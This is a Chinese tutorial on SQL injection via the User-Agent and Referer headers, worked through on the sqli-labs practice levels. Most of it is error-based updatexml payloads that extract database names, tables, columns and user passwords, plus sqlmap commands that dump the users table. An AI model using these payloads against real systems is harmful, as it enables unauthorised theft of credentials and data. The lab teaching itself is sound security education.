圖文詳解HTTP頭中的SQL注入
HTTP頭中的SQL注入
1.HTTP頭中的注入介紹
在安全意識越來越重視的情況下,很多網(wǎng)站都在防止漏洞的發(fā)生。例如SQL注入中,用戶提交的參數(shù)都會被代碼中的某些措施進(jìn)行過濾。
過濾掉用戶直接提交的參數(shù),但是對于HTTP頭中提交的內(nèi)容很有可能就沒有進(jìn)行過濾。
例如HTTP頭中的User-Agent、Referer、Cookies等。
2.HTTP User-Agent注入
就拿Sqli-Lab-Less18
這里的User-Agent
是可控的,因此存在HTTP User-Agent
注入
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)
Payload內(nèi)容:
updatexml(xml_document,xpath_string,new_value):
第一個參數(shù):XML
文檔對象名稱。
第二個參數(shù):XPath
字符串。
第三個參數(shù):替換查找到的符合條件的數(shù)據(jù)。
1.查看版本
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
2.查看數(shù)據(jù)庫
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1
3.得到數(shù)據(jù)庫security
,獲取數(shù)據(jù)表
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='1
4.得到數(shù)據(jù)表emails,referers,uagents,users
,我們使用的是users
表,獲取字段名
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1) or '1'='1
5.獲取字段內(nèi)容
當(dāng)我們使用下面的語句時,會報錯Subquery returns more than 1 ro
' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users),0x7e),1) or '1'='1
返回的數(shù)據(jù)有多行,我們可以使用limit限制其只返回一條數(shù)據(jù)
' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or '1'='1
3.HTTP Referer注入
以Sqli-Lab19
為例
' or '1'='1
1.查看版本
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
2.查看數(shù)據(jù)庫
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1
3.得到數(shù)據(jù)庫security
,獲取數(shù)據(jù)表
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='1
4.得到數(shù)據(jù)表emails,referers,uagents,users
,我們使用的是users
表,獲取字段名
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1) or '1'='1
5.獲取字段內(nèi)容
當(dāng)我們使用下面的語句時,會報錯Subquery returns more than 1 row
' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users),0x7e),1) or '1'='1
返回的數(shù)據(jù)有多行,我們可以使用limit
限制其只返回一條數(shù)據(jù)
' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or '1'='1
4.sqlmap安全測試
抓取數(shù)據(jù)包,將抓取的全部內(nèi)容,放到文本文檔中,并且在有可能存在注入點的地方加入星號(*)
1.爆破數(shù)據(jù)庫
python2 sqlmap.py -r 1.txt --dbs
得到數(shù)據(jù)庫信息
2.爆破數(shù)據(jù)表
python2 sqlmap.py -r 1.txt -D security --tables
得到數(shù)據(jù)表的信息
3.爆破字段及內(nèi)容
python2 sqlmap.py -r 1.txt -D security -T users --dump
得到數(shù)據(jù)內(nèi)容
PS
1.HTTP User-Agent注入
和HTTP Referer注入
屬于放包攻擊,我們在放包的過程中,必須使用正確的用戶名和密碼;
2.如果探測出是HTTP
頭注入,在使用sqlmap
跑的過程中,在末尾加上星號(*
),可以提高滲透測試的效率
5.HTTP頭部詳解
User-Agent:使得服務(wù)器能夠識別客戶使用的操作系統(tǒng),游覽器版本等.(很多數(shù)據(jù)量大的網(wǎng)站中會記錄客戶使用的操作系統(tǒng)或瀏覽器版本等存入數(shù)據(jù)庫中)
Cookie:網(wǎng)站為了辨別用戶身份、進(jìn)行 session 跟蹤而儲存在用戶本地終端上的數(shù)據(jù)(通常經(jīng)過加密).
X-Forwarded-For:簡稱XFF頭,它代表客戶端,也就是HTTP的請求端真實的IP,(通常一些網(wǎng)站的防注入功能會記錄請求端真實IP地址并寫入數(shù)據(jù)庫or某文件[通過修改XXF頭可以實現(xiàn)偽造IP])
Clien-IP:同上,不做過多介紹.
Rerferer:瀏覽器向 WEB 服務(wù)器表明自己是從哪個頁面鏈接過來的.
Host:客戶端指定自己想訪問的WEB服務(wù)器的域名/IP 地址和端口號(這個我本人還沒碰到過,不過有真實存在的案例還是寫上吧).
總結(jié)
到此這篇關(guān)于HTTP頭中SQL注入的文章就介紹到這了,更多相關(guān)HTTP頭中SQL注入內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
DBCC SHRINKDATABASEMS SQL數(shù)據(jù)庫日志壓縮方法
DBCC SHRINKDATABASEMS SQL數(shù)據(jù)庫日志壓縮方法...2007-07-07一款高顏值且免費(fèi)的 SQL 開發(fā)工具之Beekeeper Studio詳解
今天給大家推薦一款適用于Windows,Linux和Mac的跨平臺免費(fèi)的開源SQL編輯器和數(shù)據(jù)庫管理應(yīng)用程序 —— beekeeper-studio。對Beekeeper Studio 安裝使用教程感興趣的朋友一起看看吧2021-09-09數(shù)據(jù)設(shè)計之權(quán)限的實現(xiàn)
這篇文章主要介紹了數(shù)據(jù)設(shè)計之權(quán)限的實現(xiàn),文章圍繞主題展開詳細(xì)的內(nèi)容介紹,具有一定的參考價值,需要的朋友可以參考一下2022-08-08sqlserver和oracle中對datetime進(jìn)行條件查詢的一點區(qū)別小結(jié)
系統(tǒng)中涉及公文列表的部分,需要支持對時間列的搜索功能,但必須要同時支持sqlserver和oracle兩種數(shù)據(jù)庫,而這在這兩種數(shù)據(jù)庫中編寫查詢語句的時候有一些不大一樣的地方,無法實現(xiàn)一條語句實現(xiàn)兩個數(shù)據(jù)庫的正常查詢,所以需要做一些調(diào)整。2009-06-06DBeaver之如何導(dǎo)出數(shù)據(jù)庫結(jié)構(gòu)和數(shù)據(jù)
這篇文章主要介紹了DBeaver之如何導(dǎo)出數(shù)據(jù)庫結(jié)構(gòu)和數(shù)據(jù)問題,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教2023-04-04